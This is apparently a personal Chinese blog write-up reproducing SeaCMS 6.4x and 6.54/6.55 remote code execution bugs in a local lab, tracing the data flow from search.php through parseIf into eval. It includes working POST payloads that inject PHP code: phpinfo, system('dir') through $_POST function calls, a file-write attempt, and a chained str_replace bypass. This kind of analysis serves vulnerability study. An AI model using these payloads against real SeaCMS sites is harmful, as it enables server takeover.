这次洞主要分为两部分版本,先是6.4x 版本的,6.54/6.55 主要是6.4x修复不完善,导致的再一次被利用。
链接:https://pan.baidu.com/s/1TLsATrDtZT_SxYRMMK1sRg
提取码:khhk
1.搭建环境的时候,发现端口老是被占用,netstat -ano | findstr "80"
看了一下,对应进程id,查看进程发现了几个officeNginx.exe,结束进程之后马上又会开= =
win+R打开services.msc,发现了上次复现的通达OA环境…tm的自动。
再看一遍,好了,r了g了。
2.搭建好之后,首页啥都没有,进后台看看:http://www.seacms1.com:8885/admin/
3.发现网站是搭建好的,直接上手输入payload看环境是不是好的:
http://www.seacms1.com/search.php
POST:searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
发现爆500错误= =我用的环境是php7.3.4,安装说明里是写的这个环境可以的。
我换成了5.2.17,可以了。
1.根据payload,先看search.php。search.php的开头包含了两个文件,我们的参数就是通过common.php传入的,主要是看怎么传入的,有没有经过过滤什么的:
2.在common.php的45行看到了这段,那就是相当于request获取,我们怎么传都可以了,我们上面的payload是通过post传的,我们试试get应该也是可以的。
3.我们之前在post数据里,有个searchtype=5,我们就全文搜索一下,发现除了初始化,其他的都在echoSearchPage()函数里面:
4.函数的开头,定义了一些全局变量,方便赋值,并且初始化了order变量(order也是我们payload里面的)。
5.函数里有三处判断了searchtype==5的地方:
第一处就是一些初始化:
第二处没有涉及到我们的payload,就不管了,有点多:
第三处也是一些赋值操作:
6.然后我们的$order参数被赋给了$orderStr参数,又赋给了$cacheName参数:
7.然后在下面调用了getFileCache函数:
8.跟进一下,函数在search.php下,输出一下,看一下参数值:
我们注意到,在这个里面有个特别的文件,它的名字是这样子的:
那不就是我们payload中的这一块吗:
9.在后面它对$content做了好多的操作,然后会调用parseIf这个函数,并且传入了$content变量:
10.我们输出一下$content的值:
然后刷新网页,F12,搜一下phpinfo,发现是在这一块导致的:
1.在main.class.php里面,第3098行实现parseIf函数:
3.因为下面很多处eval函数,我加了5个echo,根据输出判断到底执行了哪个eval,最后发现:
输出的是“1111”,这样子的话,分析流程又清晰简单了一些。
4.找到漏洞触发点,这一句带进去了$strIf变量:
5.我们输出看一下传入的$strIf是什么样的,在最后 1)phpinfo();if(1 :
6.上面的$strIf变量是通过$iar数组获得的,并且经过了parseStrIf函数:
7.跟进parseStrIf函数,还是在该文件下:如果没有“=”就直接返回,有“=”但是没有“==”就把其中的“=”替换为“==”,然后用explode函数,根据“==”对它分割,然后把数组的第0项和第1项拼接起来。
8.回到parseIf函数,然后$iar数组是通过正则匹配$content出来的:
9.调用了个buildregx函数,看一下,就是转义其中 / 字符串然后拼接的意思,
10.继续往上,先判断content里面有没有 “{if:” 字符串,没有就直接返回content;
11.好的,前后都对应起来了,数据流大概是这样子:
$search.php ==》 $common.php赋值 ==》 $orderStr ==》 $cacheName ==》 search.php的getFileCache() ==》 $content(一系列操作) ==》 $main.class.php的parseIf() ==》 $iar ==》 $strIf ==》 eval()。
12.最后在eval里面拼接起来就是:
eval("if(1)phpinfo();if(1){\\$ifFlag=true;}else{\\$ifFlag=false;}");
1.分析这样构造payload的原因:
在search.php文件里,这里输出一下:
在这里也输出一下:
2.我们从上面的源代码中可以看到,替换$content中的{searchpage:ordername}为$order,从输出结果中对比:
而$order的值是:
替换后变成了:
3.中间的替换内容实际上是:(在网页中显示的有点怪)
}{end if} {if:1)phpinfo();if(1}{end if}
这里的 }{end if}
是为了闭合前面的一部分;
{if:1)phpinfo();if(1}{end if}
是我们自己控制的一部分,可以看到这一段的“{}”符号也是正确闭合的;
带有“()”那一部分,1)phpinfo();if(1
,你可以当做参数看,暂时怎么写无所谓;
后面的一部分“{}”符号闭不闭合都无所谓。
4.然后在上面说过,最后1)phpinfo();if(1 拼接到 eval里面会变成这样:
eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}");
http://www.seacms.com:8885/search.php
post数据:
searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}
http://www.seacms1.com:8885/search.php
post数据:
searchtype=5&order=}{end if}{if:1)$_POST[func]($_POST[cmd]);//}{end if}&func=system&cmd=dir
searchtype=5&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=fwrite(fopen("test.php","w"),'success!')
一直500错误,没有禁用函数,权限也够:
原因是我们可爱的360safe文件,我也不知道别人的分析文章怎么成功的,明明单引号双引号都被转义了。(我下的6.54版本的就没有360safe文件?)
链接:https://pan.baidu.com/s/1btlHIS4YrSjZ2MhfIjXD-g
提取码:9jet
傻瓜式安装完之后,先试试能不能成功验证漏洞:(我找到的这个版本就没有360safe文件,不清楚为啥)
http://www.seacms2.com/search.php
POST:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();
1.直接看search.php,发现增加了这两行:
2.先用stripslashes函数去除反斜杠,然后调用了RemoveXSS函数,1657行:
3.然后调用自定义的cn_substr函数,common.fun.php的第124行:
4.然后调用了addslashes函数,这么多过滤啥的,头大,我们输出看看,之前的payload被过滤成了什么样:
5.我们用新的payload试试,在eval函数前面进行输出:
6.根据payload,可以猜测,应该和6.4*版本一样,也是利用str_replace函数进行替换,不过这次经过了多次替换拼接而成。
7.还是相同的位置,输出一下,在页面源代码里搜索一下,发现了很多处:
具体怎么拼接的我真的看不动了,分析一天+健身,两眼昏花的。
www.seacms2.com:8886/search.php
post数据:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();
www.seacms2.com:8886/search.php
post数据:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=system&9[]=('dir');
总结:这次涉及到的文件不是很多,函数也不多,但是调用拼接链是真的复杂。主要是这几天和兄弟们出去玩,学习有些浮躁了,昨天凌晨才回来,搞不进去别的,需要深度学一天沉浸一下。不过我还想出去浪一浪,hhh。